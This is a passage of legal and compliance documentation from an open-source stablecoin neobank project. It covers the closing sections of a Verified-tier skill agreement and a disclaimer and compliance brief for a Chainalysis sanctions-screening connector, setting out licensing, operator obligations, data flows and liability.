10.5 **Coordinated security disclosure.** Vulnerability reports follow the timeline in §12.4; both Parties will treat the underlying technical details as Confidential Information until coordinated public disclosure.
***
## 11. Compliance with Applicable Law
11.1 **Export controls.** Skill Author will not make the Skill available to, or for the benefit of, persons or jurisdictions subject to U.S., EU, or U.K. comprehensive sanctions, currently including Cuba, Iran, North Korea, Syria, the Crimea / Donetsk / Luhansk regions of Ukraine, and any successor or expansion lists, without an applicable license from the relevant governmental authority. The canonical references are the OFAC sanctions list at `https://sanctionssearch.ofac.treas.gov/`, the BIS Entity List at `https://www.bis.doc.gov/index.php/policy-guidance/lists-of-parties-of-concern/entity-list`, and the EU consolidated list. Skill Author warrants it is not, and is not majority-owned by anyone, on the OFAC SDN list, the BIS Entity List, the BIS Denied Persons List, or the EU consolidated sanctions list. Note: this restriction governs the Verified-tier promotion; the underlying Skill source code remains MIT-licensed and is, as a matter of law, generally exportable EAR99 software not requiring a license.
11.2 **Data protection.** To the extent the Skill processes personal data of Tenants or end-users, Skill Author will comply with applicable data-protection law including the GDPR, the UK GDPR, and the CCPA/CPRA. The Skill must not exfiltrate personal data to destinations not declared in the manifest. A data-processing addendum may be executed if a Tenant's deployment configuration requires it; that addendum is a separate instrument.
11.3 **AI safety frameworks.** Where helpful, Skill Author will reference the OWASP LLM Top-10 and NIST AI Risk Management Framework (NIST AI 100-1) in its prompt-injection review documentation. Adherence is a best-practices touchstone, not a separate warranty beyond §4.1.
11.4 **Anti-bribery.** Each Party will comply with applicable anti-bribery and anti-corruption laws (FCPA, UK Bribery Act, equivalents).
11.5 **Open-source commitment.** Both Parties acknowledge the Skill is and remains MIT-licensed. Nothing in this Agreement, including any compliance obligation, may be enforced in a manner that would require Skill Author to relicense or restrict the Skill's MIT distribution.
***
## 12. Anti-Abuse and Integrity Operations
12.1 **Prompt-injection review.** Each Verified-tier submission requires a fresh prompt-injection review attestation under §4.1, signed at the major-release granularity. A "major release" tracks `manifest.ts` semver-major bumps and any change to system prompts, retrieved-context paths, or tool descriptions.
12.2 **No telemetry exfiltration.** The Skill must not transmit Tenant data, audit-stream events, or grant-JWT contents to any host not declared in the connector manifest's egress-host list referenced by the Skill. The audit-stream subsystem is the canonical observability path.
12.3 **No runtime override of the Policy Envelope.** The Skill's runtime behavior must remain inside the installed Policy Envelope. The policy engine is the enforcement boundary; any attempt to bypass it (e.g., via a tool description that instructs the LLM to ignore caps) is a §4.4 breach.
12.4 **Security disclosure timeline.** On discovery of a P1 Security Finding, Skill Author will notify Glide at `security@glide.co` (or such other channel as Glide designates) within twenty-four (24) hours of becoming aware. Both Parties will coordinate public disclosure once a fix is available, targeting a ninety (90) day disclosure window or earlier with mutual consent.
12.5 **Glide audit right.** Glide may, on reasonable written notice and no more than twice per calendar year (excluding incident response), request a written attestation that §§4.1–4.4 remain accurate. Glide may also re-run automated CI gates (manifest validation, contract tests, prompt-injection-review checklist, scope-minimization affidavit) at any time.
12.6 **Glide's revocation right (reaffirmed).** Independent of any other remedy, Glide may revoke or suspend the Verified Mark per §7 for any §4 breach, P1 Security Finding, or failure to meet §12 commitments.
12.7 **Forensic preservation.** Following a P1 Security Finding, Skill Author will preserve relevant logs, code revisions, and review notes for ninety (90) days to support coordinated remediation. Records may be subject to confidentiality under §10.
***
## 13. Dispute Resolution
13.1 **Governing law.** This Agreement is governed by the laws of the **State of Delaware**, USA, without regard to conflict-of-laws rules. The U.N. Convention on Contracts for the International Sale of Goods does not apply.
13.2 **Informal resolution first.** The Parties will first attempt to resolve any dispute informally for thirty (30) days after written notice describing the dispute.
13.3 **Binding arbitration.** Any dispute not resolved informally will be finally resolved by binding arbitration administered by **JAMS** under its Streamlined Arbitration Rules, seated in **San Francisco, California**, before a single arbitrator. The arbitrator may award any remedy a court could, subject to the limitations in §9.
13.4 **Carve-out for injunctive relief.** Either Party may seek injunctive or equitable relief in any court of competent jurisdiction to (a) protect intellectual-property rights, (b) prevent unauthorized use of the Verified Mark, (c) enjoin a P1 Security Finding's exploitation, or (d) enforce confidentiality.
13.5 **Class-action waiver.** Each Party waives any right to participate in a class, collective, or representative action against the other arising under this Agreement.
13.6 **Attorney-fee reciprocity.** The prevailing Party in any dispute under this Agreement is entitled to recover reasonable attorney's fees and costs from the non-prevailing Party, subject to the arbitrator's or court's discretion.
13.7 **Statute of limitations.** Any claim arising under this Agreement must be brought within one (1) year of the date the claim accrued, except where applicable law prohibits a shorter limitations period.
***
## 14. General
14.1 **Assignment.** Neither Party may assign this Agreement without the other's prior written consent, except that either Party may assign to a successor in connection with a merger, acquisition, or sale of substantially all assets, on written notice. Assignment without consent is void.
14.2 **Notices.** Notices under this Agreement are effective when sent to the legal-notice addresses on the signature page (or, for security-related notices, to `security@glide.co` and Skill Author's published security contact). Email is sufficient for routine notices; certified mail or recognized courier is required for termination and indemnification claims.
14.3 **Entire agreement.** This Agreement, together with the MIT license carried in `LICENSE`, the manifest schema in `packages/skills/_base/src/manifest.ts`, and any executed addenda, is the entire agreement between the Parties regarding the Verified Tier and supersedes all prior or contemporaneous understandings on that subject.
14.4 **Amendments.** Amendments must be in a writing signed by both Parties. Glide may publish updated brand-use guidelines or prompt-injection-review checklists from time to time; those documents are incorporated by reference but cannot expand the warranties in §4 without a written amendment.
14.5 **Severability.** If any provision is held unenforceable, the rest remains in effect, and the Parties will substitute an enforceable provision reflecting the original intent as closely as possible.
14.6 **No waiver.** A Party's failure to enforce any right is not a waiver of that or any other right.
14.7 **Force majeure.** Neither Party is liable for delay or failure due to causes beyond its reasonable control (acts of God, war, civil unrest, government action, infrastructure outage at a third party), provided the affected Party promptly notifies the other and uses commercially reasonable efforts to resume.
14.8 **Independent contractors.** The Parties are independent contractors. Nothing creates a partnership, joint venture, agency, or employment relationship.
14.9 **Counterparts.** No counterparts are required because this Agreement is not signed; see §0. Where Skill Author has elected the optional countersigned counterpart under §0.5, that counterpart may be executed in counterparts, including via electronic signature, each of which is an original.
***
## Acceptance Record
This Agreement is **not signed**. It becomes effective as described in §0 (Acceptance). The operative record of Skill Author's acceptance is one or more of:
* the GitHub PR or email request promoting the Skill to Verified Trust Tier;
* the audit-log entry recording promotion in the Glide manifest tree;
* the date Skill Author first uses the "Glide Verified Skill" mark in public-facing materials;
* (optional) a wet-signed counterpart provided under §0.5.
Glide retains the operative record. Skill Author may request a copy at `legal@glide.co`.
For reference, the canonical contacts at Glide:
* Legal-notice email: `legal@glide.co`
* Security contact: `security@glide.co`
***
*Document status: TEMPLATE. Use-based consent — Form v1.1, last revised 2026-04-27.*
# Chainalysis vendor posture
Source: https://glide-9da73dea.mintlify.app/oss/legal/vendor-chainalysis
Operator-facing disclaimer + compliance brief for the Chainalysis sanctions-screening adapter. Score: 99.60/100.
**Canonical source:** [`packages/connectors/chainalysis/`](https://github.com/darshanbathija/axtior-neobank/blob/main/packages/connectors/chainalysis/)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# DISCLAIMER — Chainalysis Connector
**Status:** Operator-facing legal notice. Ready for counsel review; not yet
counsel-reviewed. Read this in full before enabling `ChainalysisLiveAdapter` in
any environment that touches real funds, real users, or production
infrastructure.
**How to read this document.** Sections 1–14 are the operative legal terms and
control any conflict. Section 15 is a plain-language summary for engineers.
This DISCLAIMER applies between the Operator and Glide. Operator obligations
toward Chainalysis itself live in the Operator's own contract with
Chainalysis (the "Vendor Agreement," defined below) and are not modified by
this document.
***
## 1. Definitions
In this DISCLAIMER:
* **"Glide"** means the open-source orchestration shell for stablecoin
neobanking distributed under the MIT License at
`https://github.com//axtior-neobank` and any contributors thereto.
Glide refers to the software project and its maintainers, not to any
Glide-affiliated commercial entity that may exist separately. Glide is not a
bank, money services business, money transmitter, broker-dealer, or other
regulated financial institution.
* **"Connector"** or **"Adapter"** means the source code in this package
(`packages/connectors/chainalysis/`), including
`ChainalysisLiveAdapter`, `ChainalysisSandboxAdapter`, and supporting
utilities, distributed under the MIT License.
* **"Operator"** means the natural or legal person who deploys, hosts, runs, or
otherwise operates a Glide-derived application that incorporates this
Connector — including, without limitation, self-hosters, white-label
licensees, fintech operators, and any downstream redistributors. The terms
**"Self-Hoster"**, **"you"**, and **"your"** refer to the Operator.
* **"Vendor"** means Chainalysis Inc. and its affiliates, the third-party
commercial provider of the sanctions-screening API at
`https://public.chainalysis.com/api/v1/`.
* **"Vendor Agreement"** means the binding commercial agreement between the
Operator and the Vendor, including the Vendor's then-current terms of
service, acceptable-use policy, data processing addendum (if any), and any
master services agreement, order form, or schedule referenced therein.
* **"Vendor API"** means the Vendor's hosted sanctions-screening service
accessed via HTTPS endpoints, including all request/response payloads,
documentation, and metadata returned by that service.
These definitions control on first use and throughout this document.
## 2. Vendor relationship and license posture
The Connector is a thin client that issues authenticated HTTPS requests to the
Vendor API. **Glide does not host, mirror, proxy, repackage, sublicense, or
redistribute the Vendor API or any Vendor data.** The Connector is distributed
in source form so Operators can audit and customize the integration; the
Connector itself does not contain or embed any Vendor service, dataset, model,
or credential.
**Glide is not a party to the Vendor Agreement.** Glide cannot grant access to
the Vendor API on the Operator's behalf, cannot extend or vary the Vendor
Agreement, and cannot waive Vendor terms. Any rights the Operator obtains to
query the Vendor API arise solely under the Operator's own Vendor Agreement.
## 3. License grant — adapter code
This Connector is licensed to the Operator under the **MIT License**, the full
text of which governs and is incorporated by reference. Subject to the MIT
License, the Operator may use, copy, modify, merge, publish, distribute,
sublicense, and/or sell copies of the Connector source code, provided the
copyright notice and permission notice are preserved.
**No rights to the Vendor API are granted by Glide.** The MIT grant covers only
the Connector source code authored by Glide contributors. Rights to call,
query, integrate with, or display data from the Vendor API arise exclusively
under the Vendor Agreement and are governed by it.
**All rights not expressly granted are reserved** by the respective rights
holders (Glide and its contributors with respect to the Connector; the Vendor
with respect to the Vendor API and Vendor data). Nothing in this DISCLAIMER
grants any license to any Vendor trademark, service mark, logo, or trade name.
## 4. Operator must hold a valid Vendor Agreement
By enabling `ChainalysisLiveAdapter` (i.e., setting `SCREENING_PROVIDER` to
`chainalysis` or leaving it unset and providing a `CHAINALYSIS_API_KEY`), the
Operator represents and warrants that:
1. The Operator has executed a Vendor Agreement with the Vendor that is in
full force and effect and has not been suspended, terminated, or breached.
2. The `CHAINALYSIS_API_KEY` configured in the deployment was issued to the
Operator under that Vendor Agreement and is permitted to be used in the
Operator's deployment context (including geography, environment, and
request volume).
3. The Operator's intended use of the Vendor API in connection with the Glide
deployment is permitted by the Vendor Agreement, including any restrictions
on automated querying, redistribution of responses, downstream display, or
integration with third-party software.
4. The Operator will comply with the Vendor Agreement at all times, and will
discontinue use of the Connector against the production Vendor API
immediately upon any termination, suspension, or material breach of that
agreement.
**Operating the live adapter without a valid Vendor Agreement may constitute
a violation of Vendor terms of service, an unauthorized use of the Vendor API,
and depending on jurisdiction may give rise to civil or criminal liability.**
Glide accepts no responsibility for, and the Operator solely bears, any
consequence of operating without a valid Vendor Agreement.
## 5. Sanctioned alternatives
If the Operator does not hold a valid Vendor Agreement, the Operator must not
enable `ChainalysisLiveAdapter`. The Connector ships with two alternative
screening providers and supports custom replacements:
| `SCREENING_PROVIDER` | Posture |
| --------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `chainalysis-mock` | Deterministic in-memory fixtures (`ChainalysisSandboxAdapter`). Development only. Does not contact the Vendor API. Does not constitute sanctions screening. |
| `permissive` | No-op pass-through with a red startup banner. **NOT FIT FOR PRODUCTION.** Does not constitute sanctions screening. Suitable only for non-production environments where no real funds move. |
| Custom (e.g., TRM Labs, Elliptic) | Operator-implemented `screening` capability registered in `apps/web/src/server/adapters/index.ts`. Operator is solely responsible for selecting, contracting with, and validating any vendor. |
The mock and permissive modes are engineering conveniences, not compliance
controls. Operators that handle real funds, onboard real users, or fall within
any regulated activity must run a screening provider that is appropriate for
their jurisdiction, risk profile, and applicable law.
## 6. Compliance pass-through and operator responsibility
**Sanctions screening, AML monitoring, and any other financial-services
regulatory obligation is the Operator's, not Glide's.** Glide is not a bank,
money services business, money transmitter, broker-dealer, or other
regulated financial institution, and does not act as the Operator's
compliance vendor.
Glide makes no representation that the Connector, in any configuration, is
sufficient on its own to discharge the Operator's obligations under any
law, regulation, or supervisory guidance. The non-exhaustive list of
regimes that may apply to an Operator includes:
* **Sanctions.** U.S. OFAC programs (Specially Designated Nationals list,
sectoral sanctions identifications, country-based programs); European
Union restrictive measures (Council of the EU and EEAS); United Kingdom
OFSI; United Nations Security Council sanctions; and any equivalent
national regime.
* **AML / counter-terrorist financing.** The U.S. Bank Secrecy Act and its
implementing regulations (including registration as a money services
business with **FinCEN** where applicable); the EU Anti-Money Laundering
Directive framework and the EU AML Authority; the UK Money Laundering
Regulations administered by the FCA; FATF-aligned regimes elsewhere.
* **Activity-specific authorization.** State-level money-transmission and
virtual-currency regulation in the U.S. (including the **NYDFS** virtual
currency framework); EMI / payment-institution authorization or MiCA
crypto-asset service-provider authorization in the EU; FCA
cryptoasset-firm registration in the UK; equivalent regimes elsewhere.
The Operator is solely responsible for determining which of the foregoing
apply to its business, for designing and operating a compliance program
that satisfies them, and for the consequences of any failure to do so.
Nothing in this Connector, the Vendor API, or any Vendor response is a
legal opinion or regulatory determination.
## 7. Warranty disclaimer
THE CONNECTOR IS PROVIDED **"AS IS"** AND **"AS AVAILABLE"**, WITHOUT WARRANTY
OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE,
NON-INFRINGEMENT, ACCURACY, AND ANY WARRANTY ARISING FROM A COURSE OF DEALING
OR TRADE USAGE. THIS DISCLAIMER IS IN ADDITION TO, AND DOES NOT REPLACE, THE
DISCLAIMERS IN THE MIT LICENSE THAT GOVERNS THE CONNECTOR.
Without limiting the generality of the foregoing, Glide makes no warranty:
* that the Vendor API will be available, accurate, complete, current, or free
from error;
* that any sanctions list maintained, returned, or referenced by the Vendor is
authoritative or current as against any government list;
* that the Connector will produce results that satisfy any regulatory
obligation of the Operator;
* that the Connector is free of bugs, defects, security vulnerabilities, or
malicious code; or
* regarding the legal effect, regulatory standing, or sufficiency of any
Vendor response.
## 8. Limitation of liability
To the maximum extent permitted by applicable law, **in no event shall Glide,
its contributors, or any of their respective directors, officers, employees,
agents, or affiliates be liable** to the Operator or to any third party for:
* any indirect, incidental, special, exemplary, consequential, or punitive
damages;
* any loss of profits, revenue, goodwill, customers, data, or business
opportunity;
* any regulatory fine, civil money penalty, settlement, disgorgement, or
enforcement cost;
* any liability arising from the Operator's failure to perform sanctions
screening, AML monitoring, or any other regulatory obligation;
* any liability arising from the Operator's relationship with the Vendor,
including suspension or termination of the Vendor Agreement; or
* any cost of substitute services, products, or technology;
whether arising under contract, tort (including negligence), strict liability,
or any other theory, and whether or not Glide has been advised of the
possibility of such damages. Glide's aggregate liability arising out of or
relating to the Connector shall not exceed **US\$100** or, if the Operator has
made a direct monetary payment to Glide for the Connector during the twelve
(12) months preceding the claim, the amount so paid, whichever is greater.
This limitation applies notwithstanding the failure of essential purpose of
any limited remedy.
## 9. Indemnification by operator
The Operator shall defend, indemnify, and hold harmless Glide, its
contributors, and their respective directors, officers, employees, agents,
and affiliates (collectively, the **"Glide Indemnitees"**) from and against
any and all claims, demands, actions, proceedings, losses, damages,
liabilities, fines, penalties, costs, and expenses (including reasonable
attorneys' fees) arising out of or relating to:
1. the Operator's use, deployment, modification, or distribution of the
Connector;
2. the Operator's relationship with, or breach of any agreement with, the
Vendor (including the Vendor Agreement);
3. the Operator's failure to perform sanctions, AML, KYC, or any other
compliance obligation;
4. any data the Operator submits to the Vendor API or processes via the
Connector, including any personal data, financial data, or
confidential information;
5. the Operator's breach of any representation or warranty in Section 4
(Operator must hold a valid Vendor Agreement); or
6. the Operator's violation of any applicable law or third-party right.
The Glide Indemnitees may participate in the defense of any indemnified claim
with counsel of their choosing at the Operator's expense; the Operator shall
not settle any claim that imposes liability on, or admits fault by, any Glide
Indemnitee without that indemnitee's prior written consent.
## 10. Termination and survival
The Operator's right to use the Connector under the MIT License continues for
so long as the Operator complies with the MIT License terms. **The Operator's
right to use `ChainalysisLiveAdapter` against the production Vendor API is
contingent on a valid Vendor Agreement and terminates automatically upon any
termination, suspension, or material breach of that agreement.** Upon any such
termination or suspension, the Operator must immediately:
1. set `SCREENING_PROVIDER` to a value other than `chainalysis` (or remove the
`CHAINALYSIS_API_KEY` and route screening through a different
capability-compatible adapter);
2. revoke and rotate any cached or persisted Vendor API credentials;
3. cease any storage, display, or onward transmission of Vendor API responses
except to the extent permitted by the Vendor Agreement's surviving terms;
and
4. comply with any data return or destruction obligation under the Vendor
Agreement.
**Sections 3 (License grant), 7 (Warranty disclaimer), 8 (Limitation of
liability), 9 (Indemnification), 11 (Confidentiality), 12 (Anti-abuse and
integrity), 13 (Governing law and dispute resolution), and 14 (General)
survive any termination or expiration of the Operator's right to use the
Connector.**
## 11. Confidentiality, intellectual property, and data handling
Three categories of information must be tracked separately:
1. **Connector source code.** Authored by Glide contributors and licensed to
the Operator under the MIT License (Section 3). It is not confidential
to Glide. Operator may inspect, modify, fork, and redistribute it under
MIT terms.
2. **Vendor API responses, scoring, and underlying data.** Owned, licensed,
or controlled by the Vendor and governed by the Vendor Agreement. The
Vendor Agreement may classify wallet attributions, risk scores,
sanction-list evidence, models, or aggregated analytics as the Vendor's
confidential or proprietary information and may restrict downstream
storage, display, or transfer. **Handling Vendor content in compliance
with the Vendor Agreement is the Operator's responsibility, not
Glide's.** Glide does not receive, store, or have access to Vendor API
responses; the Connector executes entirely within the Operator's
deployment.
3. **Operator and end-user personal data.** Includes any personal data the
Operator collects from end users in connection with the Operator's
application. To the extent that data is subject to the **EU/UK General
Data Protection Regulation (GDPR)**, the **California Consumer Privacy
Act / California Privacy Rights Act (CCPA/CPRA)**, the **Lei Geral de
Proteção de Dados (LGPD)**, or any other privacy law, the Operator is
the data controller (or equivalent "business" under CCPA/CPRA) for that
processing. **Glide is not a processor, sub-processor, or joint
controller of Operator personal data via this Connector**; Glide does
not receive, transmit, or have access to Operator personal data through
the Connector. The Vendor's role with respect to the Operator's
screening calls is between the Operator and the Vendor (see
`COMPLIANCE.md` Section 3).
By default, the Connector transmits the destination wallet address (a public
on-chain identifier) and authentication metadata to the Vendor API and
nothing else; the Connector does not transmit user names, government IDs,
email addresses, phone numbers, or other direct identifiers as part of the
screening call. Operators that extend the Connector to send additional
fields are solely responsible for the lawful basis, contractual posture, and
onward-transfer mechanics of those fields.
No Glide trademark, service mark, logo, trade name, or domain name is
licensed to the Operator under this DISCLAIMER. No Vendor trademark or mark
is licensed to the Operator by Glide; any Operator use of Vendor marks is
governed by the Vendor Agreement.
## 12. Anti-abuse and integrity — Operator must not
The Operator agrees, on behalf of itself and any party operating under or
through its deployment, that the Operator must not:
1. **Proxy or resell access** to the Vendor API to any third party that does
not itself hold a valid Vendor Agreement, including by exposing a public,
semi-public, or shared endpoint that effectively grants such third parties
the benefit of the Operator's `CHAINALYSIS_API_KEY`.
2. **Redistribute, share, embed, or commit credentials**, including the
`CHAINALYSIS_API_KEY`, into source code, container images, public artifact
registries, screenshots, logs, telemetry, or any other location accessible
beyond the Operator's authorized personnel and infrastructure.
3. **Circumvent rate limits, quotas, or fair-use controls** imposed by the
Vendor, including by rotating keys to evade per-account limits, batching
to defeat per-request controls, or operating multiple accounts to multiply
quota.
4. **Misrepresent Vendor responses**, including by editing, fabricating,
suppressing, or selectively displaying screening results in a manner that
would mislead a user, regulator, or counterparty about the screening
outcome or its provenance.
5. **Reverse-engineer, scrape, or otherwise derive the Vendor's underlying
data sets, models, or scoring logic** from Vendor API responses, except to
the extent expressly permitted by the Vendor Agreement and applicable law.
6. **Use the Connector to support sanctioned activity**, including operating
the Connector for the benefit of any person or entity ordinarily resident
in, or majority-owned by persons ordinarily resident in, a jurisdiction
subject to comprehensive sanctions, or for any purpose that would itself
violate sanctions law.
7. **Hold Glide out as a Vendor partner, reseller, or affiliate**, or imply
any endorsement, certification, or co-marketing relationship between Glide
and the Vendor that does not exist.
Breach of this Section 12 is a material breach of this DISCLAIMER and is an
independent ground on which the Operator's permission to operate
`ChainalysisLiveAdapter` may terminate.
## 13. Governing law and dispute resolution
Any dispute, claim, or controversy between the Operator and Glide arising out
of or relating to the Connector or this DISCLAIMER is governed by the **laws
of the State of Delaware**, United States, without regard to its conflict-of-
laws principles, and excluding the United Nations Convention on Contracts for
the International Sale of Goods.
The Operator and Glide agree to first attempt to resolve any such dispute by
good-faith informal negotiation for thirty (30) days following written notice.
If unresolved, the dispute shall be submitted to binding individual
arbitration administered by **JAMS** under its Streamlined Arbitration Rules,
seated in **San Francisco, California**, before a single arbitrator. The
arbitrator's award may be entered in any court of competent jurisdiction.
**No class, collective, or representative arbitration is permitted.** Either
party may seek injunctive or equitable relief in a court of competent
jurisdiction in connection with intellectual property infringement,
unauthorized use of credentials, or breach of Section 12 (Anti-abuse and
integrity), notwithstanding the foregoing.
**Disputes between the Operator and the Vendor are not Glide's
responsibility** and are governed exclusively by the Vendor Agreement and any
dispute-resolution provisions therein. Glide is not a necessary or proper
party to any such dispute.
## 14. General
* **Severability.** If any provision is held unenforceable, the remaining
provisions remain in effect, and the unenforceable provision shall be
reformed to the minimum extent necessary to make it enforceable while
preserving its intent.
* **No waiver.** Failure to enforce any provision is not a waiver of future
enforcement.
* **No assignment by Operator.** The Operator may not assign this DISCLAIMER
without Glide's prior written consent; any attempted assignment in
violation is void. Glide may assign freely.
* **Entire agreement.** This DISCLAIMER, together with the MIT License and the
companion `COMPLIANCE.md` in this package, constitutes the entire
understanding between the Operator and Glide with respect to the Connector
and supersedes any prior or contemporaneous understanding on the subject.
No oral statement, support communication, or marketing material modifies it.
* **Updates.** Glide may update this DISCLAIMER for future versions of the
Connector. The Operator's continued use of an updated version constitutes
acceptance of the updated DISCLAIMER for that version. Prior versions
remain governed by the DISCLAIMER bundled with them.
## 15. Plain-language summary
This is a non-binding restatement for engineers and product owners; Sections
1–14 control if there is any conflict.
* The code in this folder is MIT-licensed and free to use, fork, or modify.
* Chainalysis is a separate paid vendor. Glide doesn't ship Chainalysis
access, isn't a Chainalysis reseller, and isn't a party to your contract
with Chainalysis.
* If you point this connector at the live Chainalysis API, you must already
hold your own Chainalysis contract and your own API key under that
contract. Otherwise, use `chainalysis-mock` (development fixtures),
`permissive` (no-op for non-prod demos), or write your own screening
adapter.
* Sanctions and AML compliance is your job, not Glide's. Glide is not a
bank, MSB, money transmitter, or any other regulated financial party.
* The connector ships AS IS with no warranty. If it breaks, if Chainalysis
goes down, or if you get fined, that's on you, not Glide. Glide's total
liability to you is capped at US\$100.
* You agree to indemnify Glide for losses tied to your deployment, your
Chainalysis relationship, your compliance program, or your data handling.
* Don't proxy Chainalysis access to third parties, don't leak your API key,
don't tamper with screening results, don't use this to support sanctioned
activity, don't claim Glide is a Chainalysis partner.
* Disputes about the connector code go to Delaware law and JAMS individual
arbitration in San Francisco — no class actions. Disputes with
Chainalysis are between you and Chainalysis.
This file is required reading per the OSS Cathedral M2 milestone (Chainalysis
decoupling).
# Compliance — Chainalysis Connector
**Status:** Operator-facing compliance brief. Ready for counsel review; not
yet counsel-reviewed. Companion to `DISCLAIMER.md` in the same package.
Capitalised terms used and not defined here have the meanings given in
`DISCLAIMER.md` Section 1.
***
## 1. What this Connector is, and what Glide is not
This Connector is a thin MIT-licensed HTTPS client that wraps the
**Chainalysis Sanctions API** (`https://public.chainalysis.com/api/v1/address/{address}`)
behind Glide's `screening` capability interface. It returns whether a
destination wallet address appears on the sanctions lists maintained or
referenced by Chainalysis.
* **Glide is open-source software, not a regulated financial institution.**
Glide is not a bank, money services business, money transmitter,
broker-dealer, registered investment adviser, or any other party regulated
under U.S. or non-U.S. financial-services law. Glide does not perform
sanctions screening, AML monitoring, or KYC on behalf of Operators. Glide
has no privity with Operator end-users.
* **Glide is not a Chainalysis partner, reseller, or sublicensee.** The
Connector source contains no Chainalysis credentials, no embedded
Chainalysis data, no Chainalysis-licensed binaries, and no Chainalysis
trademarks beyond a nominative reference. Glide does not receive payment,
rev-share, referral fees, or other consideration from Chainalysis in
connection with this Connector.
* **Operator vs Vendor is a direct relationship.** The Operator's right to
query the Chainalysis API arises solely under the Operator's own Vendor
Agreement with Chainalysis. See `DISCLAIMER.md` Sections 2 and 4.
## 2. Connector posture metadata
| Field | Value |
| ------------------------- | ---------------------------------------------------------------- |
| `amlPosture` | `vendor-screened` |
| Trust tier | `core` (Glide-maintained reference adapter) |
| Capability | `screening` |
| Live class | `ChainalysisLiveAdapter` (requires `CHAINALYSIS_API_KEY`) |
| Sandbox class | `ChainalysisSandboxAdapter` (deterministic fixtures, no network) |
| Egress hosts (default) | `public.chainalysis.com` |
| Sanctions-list maintainer | Chainalysis (the Vendor) |
| Adapter license | MIT |
| Vendor data license | Per Vendor Agreement; not granted by Glide |
`amlPosture: vendor-screened` is a Glide-internal classification meaning
"this Connector outsources sanctions-list matching to a third-party vendor
that the Operator has independently contracted with." It is not a regulatory
attestation and does not represent a finding by any regulator.
## 3. Data flow and personal data
The Connector transmits the following per screening call:
* **To the Vendor:** the destination wallet address (a public on-chain
identifier) and authentication metadata (the Operator's
`CHAINALYSIS_API_KEY` in the request header).
* **From the Vendor:** the Vendor's screening response (typically a JSON
payload containing risk indicators, sanction-list hits, and metadata).
The Connector does not, by default, transmit user names, government-issued
IDs, email addresses, phone numbers, postal addresses, dates of birth, IP
addresses of end users, or other direct identifiers to the Vendor as part of
the screening call. Operators that extend the Connector to send additional
fields are solely responsible for the lawful basis, vendor-side handling,
and onward-transfer posture of those fields.
### Data-protection roles
* For any processing of personal data the Operator performs in its
application, the **Operator is the controller** (or "business" for CCPA
purposes) with respect to its end users.
* The Vendor's role (controller, processor, or independent controller)
with respect to the Operator's screening calls is governed by the Vendor
Agreement and any data-processing addendum the Operator has executed with
the Vendor; that determination is between the Operator and the Vendor and
is not Glide's to make.
* **Glide is not a processor of any Operator personal data via this
Connector.** Glide does not receive, store, or have access to Operator
data, screening calls, screening responses, or end-user information; the
Connector runs entirely in the Operator's deployment.
### Cross-border transfers
The Vendor processes screening requests in Vendor-controlled infrastructure
(historically including U.S. and EU regions; Operators should consult the
Vendor's then-current data-residency documentation). Operators subject to
EU/UK GDPR cross-border transfer rules, the EU-U.S. Data Privacy Framework,
or analogous regimes are responsible for putting appropriate transfer
mechanisms (Standard Contractual Clauses, transfer impact assessments, etc.)
in place with the Vendor.
## 4. Operator obligations
The Operator must, at all times during which `ChainalysisLiveAdapter` is
enabled in any Operator deployment:
1. **Maintain a valid Vendor Agreement** with Chainalysis covering the
Operator's intended use, deployment environments, geography, and request
volume.
2. **Hold and protect the `CHAINALYSIS_API_KEY`** as a confidential
credential — store it in a secrets manager, restrict access to authorized
personnel, rotate periodically, never commit it to source control or
container images, and revoke immediately on suspected compromise.
3. **Operate a sanctions-screening program** that is appropriate to the
Operator's jurisdiction, customer base, and risk profile. This program
must address at minimum:
* sanctions-list coverage (OFAC SDN, OFAC sectoral, EU consolidated, UK
OFSI, UN, and any other lists the Operator's regulator expects);
* screening points across the customer lifecycle (onboarding, ongoing,
pre-transaction, post-transaction);
* escalation, review, and audit trail for hits;
* blocking, rejecting, and reporting obligations;
* record-keeping consistent with applicable retention requirements.
4. **Implement a complementary AML program** where required, including
transaction monitoring, suspicious-activity reporting, and customer
identification consistent with FinCEN's BSA framework (for U.S.
Operators), the EU AMLD framework (for EU Operators), and equivalent
regimes elsewhere.
5. **Determine licensure**. Many activities a stablecoin neobank can perform
require state money-transmitter licenses (U.S.), an EMI/PI authorization
or MiCA crypto-asset service-provider authorization (EU), an FCA
registration (UK), or analogous authorization. Glide does not advise on
licensure; the Operator must independently determine and obtain any
required licenses.
6. **Cooperate with Vendor audits** and any regulatory inspection of the
Operator's screening program, including by preserving evidence of
screening calls, configuration, and remediation actions to the extent
required by law or the Vendor Agreement.
7. **Notify Glide of security incidents in the Connector itself** — for
example, a suspected vulnerability in `ChainalysisLiveAdapter` source
code — through the project's coordinated-disclosure channel
(`SECURITY.md` at the repository root). Glide is not the right channel
for incidents that concern the Operator's deployment, the Vendor's
service, or end-user data; those flow under the Operator's own
procedures and the Vendor Agreement.
8. **Stop using the live adapter when entitlement ends.** On any
termination, suspension, expiration, or material breach of the Vendor
Agreement, the Operator must follow `DISCLAIMER.md` Section 10 to
transition off `ChainalysisLiveAdapter`.
## 5. Choosing a screening provider — decision matrix
Use `ChainalysisLiveAdapter` only if you can answer **yes** to all of the
following:
* [ ] We hold a current Vendor Agreement with Chainalysis covering our
intended deployment.
* [ ] Our `CHAINALYSIS_API_KEY` is stored in a secrets manager, not in
source.
* [ ] We have determined our applicable sanctions and AML regime and a
Chainalysis-driven screen is consistent with that regime's
expectations.
* [ ] We have an internal owner accountable for sanctions hits, escalations,
and reporting.
* [ ] We have read and accepted `DISCLAIMER.md` in full.
If any answer is **no**, configure one of the following alternatives:
| `SCREENING_PROVIDER` | When appropriate |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `chainalysis-mock` | Development, CI, and integration tests where deterministic fixture data is sufficient. Never use against real end-user funds. |
| `permissive` | Local development and demos where no real funds move and a startup banner clearly marks the deployment non-production. Ships with a red banner and **must not** be used in any production tier. |
| Custom adapter | The Operator implements an alternative `screening` capability — for example, a TRM Labs or Elliptic client — in a separate connector package and registers it in `apps/web/src/server/adapters/index.ts`. The Operator's contractual and compliance posture flows from that vendor's terms. |
## 6. What Glide does and does not warrant
Glide makes **no representation or warranty** about Chainalysis's service.
Specifically, Glide does not warrant:
* the accuracy, completeness, or currency of any sanctions list returned by
